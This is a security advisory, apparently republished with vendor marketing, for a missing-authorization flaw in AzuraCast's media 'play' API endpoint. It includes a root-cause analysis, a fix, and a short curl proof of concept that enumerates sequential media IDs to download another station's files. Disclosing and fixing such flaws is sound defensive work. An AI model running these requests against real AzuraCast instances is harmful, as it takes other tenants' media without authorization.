Summary
The GET /api/station/{station_id}/file/{id}/play endpoint, handled by PlayAction, is missing the Middleware\Permissions check that protects all sibling routes in the same /file/{id} route group. Any authenticated user can download media files from any station, regardless of whether they have permissions on that station. In multi-tenant deployments, this enables cross-station media exfiltration.
Details
In backend/config/routes/api_station.php, the /file/{id} route group (lines 407-429) defines four endpoints:
// Line 407-429
$group->group(
'/file/{id}',
function (RouteCollectorProxy $group) {
// GET /file/{id}, has Permissions check ✓
$group->get('', ...)->add(new Middleware\Permissions(StationPermissions::Media, true));
// PUT /file/{id}, has Permissions check ✓
$group->put('', ...)->add(new Middleware\Permissions(StationPermissions::Media, true));
// DELETE /file/{id}, has Permissions check ✓
$group->delete('', ...)->add(new Middleware\Permissions(StationPermissions::DeleteMedia, true));
// GET /file/{id}/play, NO Permissions check ✗
$group->get('/play', Controller\Api\Stations\Files\PlayAction::class)
->setName('api:stations:files:play');
}
);
The middleware chain for the /play endpoint is: GetStation → RequireStation → RequireLogin → StationSupportsFeature(Media) → PlayAction. The RequireLogin middleware (backend/src/Middleware/RequireLogin.php) only verifies a valid session/API key exists, it does not check station-level permissions.
The controller at backend/src/Controller/Api/Stations/Files/PlayAction.php:84 calls $this->mediaRepo->requireForStation($id, $station), which verifies the media belongs to the station but performs no authorization check. The findForStation method (StationMediaRepository.php:46-66) accepts both auto-increment integer IDs and unique IDs, making enumeration trivial via sequential integers.
This is notably similar to the regression fixed in commit 7fbc7dd (2026-02-26), which restored a missing group-level Permissions middleware on the adjacent /files group. The /play route was missed in that fix.
PoC
# Step 1: Create two stations (Station A and Station B) in a multi-tenant AzuraCast instance.
# Upload media files to Station B.
# Step 2: Create a user with permissions ONLY on Station A. Generate an API key for this user.
API_KEY="user-with-only-station-a-access"
# Step 3: Enumerate and download media from Station B (station_id=2) using sequential IDs
# This should return 403 Forbidden, but instead returns the file content
curl -H "X-API-Key: $API_KEY" https://target/api/station/2/file/1/play -o stolen1.mp3
# HTTP 200 OK, file downloaded successfully
curl -H "X-API-Key: $API_KEY" https://target/api/station/2/file/2/play -o stolen2.mp3
# HTTP 200 OK, file downloaded successfully
# Step 4: Verify the same user is correctly blocked on other endpoints in the same group
curl -H "X-API-Key: $API_KEY" https://target/api/station/2/file/1
# HTTP 403 Forbidden, permission check works here
Impact
- Any authenticated user can download the full media library of any station in the instance, regardless of their assigned permissions.
- In multi-tenant deployments (e.g., hosting providers running multiple radio stations), a user of Station A can exfiltrate all copyrighted audio content from Station B.
- Media IDs use auto-increment integers (
HasAutoIncrementIdtrait onStationMedia), enabling trivial enumeration of all media files. - The confidentiality impact is High: full media file contents (MP3, FLAC, etc.) are exposed.
The application does not perform an authorization check before performing a sensitive operation. Typical impact: unauthorized access to restricted functionality or data.
GHSA-QFF7-Q5FM-8P76 has a CVSS score of 6.5 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.23.6); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Add the Permissions middleware to the /play route, matching the pattern used by the adjacent routes:
// backend/config/routes/api_station.php, line 426-427
// Before:
$group->get('/play', Controller\Api\Stations\Files\PlayAction::class)
->setName('api:stations:files:play');
// After:
$group->get('/play', Controller\Api\Stations\Files\PlayAction::class)
->setName('api:stations:files:play')
->add(new Middleware\Permissions(StationPermissions::Media, true));
Frequently Asked Questions
- What is GHSA-QFF7-Q5FM-8P76? GHSA-QFF7-Q5FM-8P76 is a medium-severity missing authorization vulnerability in azuracast/azuracast (composer), affecting versions <= 0.23.5. It is fixed in 0.23.6. The application does not perform an authorization check before performing a sensitive operation.
- How severe is GHSA-QFF7-Q5FM-8P76? GHSA-QFF7-Q5FM-8P76 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of azuracast/azuracast are affected by GHSA-QFF7-Q5FM-8P76? azuracast/azuracast (composer) versions <= 0.23.5 is affected.
- Is there a fix for GHSA-QFF7-Q5FM-8P76? Yes. GHSA-QFF7-Q5FM-8P76 is fixed in 0.23.6. Upgrade to this version or later.
- Is GHSA-QFF7-Q5FM-8P76 exploitable, and should I be worried? Whether GHSA-QFF7-Q5FM-8P76 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-QFF7-Q5FM-8P76 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-QFF7-Q5FM-8P76? Upgrade
azuracast/azuracastto 0.23.6 or later.